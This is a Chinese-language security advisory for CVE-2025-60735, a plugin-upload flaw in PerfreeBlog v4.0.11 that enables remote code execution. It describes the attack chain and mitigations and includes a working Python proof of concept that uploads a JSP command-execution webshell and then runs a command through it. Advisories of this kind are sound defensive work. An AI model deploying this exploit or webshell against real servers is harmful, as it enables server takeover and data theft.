IPBUF安全漏洞报告
English
CVE-2025-60735 CVSS 7.6 高危

CVE-2025-60735 PerfreeBlog v4.0.11 installPlugin函数文件上传漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-60735
漏洞类型
文件上传漏洞
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PerfreeBlog

相关标签

文件上传漏洞远程代码执行PerfreeBlogCVE-2025-60735webshell插件漏洞Java漏洞

漏洞概述

CVE-2025-60735是PerfreeBlog v4.0.11版本中存在的一个高危文件上传漏洞。该漏洞位于installPlugin函数中,由于该函数在处理插件上传时缺乏充分的输入验证和安全检查,攻击者可以利用此漏洞上传恶意文件到服务器,从而实现远程代码执行(RCE)。PerfreeBlog是一款基于Java开发的内容管理系统(CMS),广泛应用于个人博客和小型网站。由于该漏洞的CVSS评分为7.6,属于高危级别,且攻击向量为网络攻击,不需要特殊权限即可利用,对使用该系统的网站构成严重安全威胁。攻击者可以通过构造特制的插件包,绕过常规的安全检查,上传包含恶意代码的文件,进而完全控制受影响的服务器。

技术细节

PerfreeBlog v4.0.11的installPlugin函数存在严重的文件上传漏洞。该漏洞的根本原因是在插件安装功能中,系统未能对上传的文件类型、内容和路径进行严格的验证。具体来说,installPlugin函数在处理用户上传的插件压缩包时,直接解压并写入文件到服务器指定目录,而没有检查压缩包内文件的后缀名、文件内容是否包含恶意代码(如webshell)等安全检查。攻击者可以构造一个包含恶意JSP或Java类文件的ZIP压缩包,通过系统的插件上传功能将其上传到服务器。系统会自动解压该文件并保存到可访问的目录,攻击者随后可以通过HTTP请求访问该恶意文件,从而在服务器上执行任意代码。漏洞利用的关键在于系统对插件文件的扩展名验证不完善,允许.jsp、.jspx等可执行文件格式上传。此外,系统未对上传文件进行内容检测,无法识别隐藏在文件中的恶意代码。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站的插件管理界面,使用低权限账号登录系统
STEP 2
步骤2
攻击者构造包含恶意JSP webshell的插件压缩包(ZIP格式),其中包含plugin.json配置文件和恶意代码文件
STEP 3
步骤3
攻击者通过installPlugin函数上传恶意插件包,系统未进行充分验证即接受上传
STEP 4
步骤4
系统解压ZIP文件并将恶意JSP文件写入到服务器可访问的目录(如/uploads/plugins/)
STEP 5
步骤5
攻击者通过HTTP请求访问上传的webshell文件,并携带命令执行参数
STEP 6
步骤6
服务器解析执行恶意JSP文件中的代码,以Web应用权限在服务器上执行任意系统命令
STEP 7
步骤7
攻击者获取服务器完全控制权,可进行数据窃取、横向移动或部署后门等恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import requests # Create malicious plugin with JSP webshell malicious_jsp = ''' <%@ page import="java.util.*,java.io.*"%> <% if(request.getParameter("cmd")!=null){ String cmd=request.getParameter("cmd"); Process p=Runtime.getRuntime().exec(cmd); OutputStream os=p.getOutputStream(); InputStream in=p.getInputStream(); DataInputStream dis=new DataInputStream(in); String disr=dis.readLine(); while(disr!=null){ out.println(disr); disr=dis.readLine(); } } %> ''' # Create plugin structure plugin_info = '{"name":"evil","version":"1.0","author":"poc"}' # Create malicious ZIP file with zipfile.ZipFile('evil_plugin.zip', 'w') as zf: zf.writestr('plugin.json', plugin_info) zf.writestr('webshell.jsp', malicious_jsp) # Upload the malicious plugin url = 'http://target.com/admin/plugin/install' files = {'file': open('evil_plugin.zip', 'rb')} data = {'action': 'installPlugin'} response = requests.post(url, files=files, data=data, cookies={'JSESSIONID': 'your_session'}) # Access the uploaded webshell if response.status_code == 200: webshell_url = 'http://target.com/uploads/plugins/webshell.jsp?cmd=whoami' rce_response = requests.get(webshell_url) print('RCE Exploit Success!') print(rce_response.text)

影响范围

PerfreeBlog v4.0.11

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用插件安装功能,临时关闭插件管理模块;2)配置Web服务器,限制/uploads、/plugins等目录下的文件执行权限;3)使用WAF规则拦截.jsp、.jspx等可执行文件后缀的上传请求;4)对插件上传接口实施IP白名单限制;5)增加文件上传的速率限制和异常检测机制;6)定期检查服务器文件系统,及时发现可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表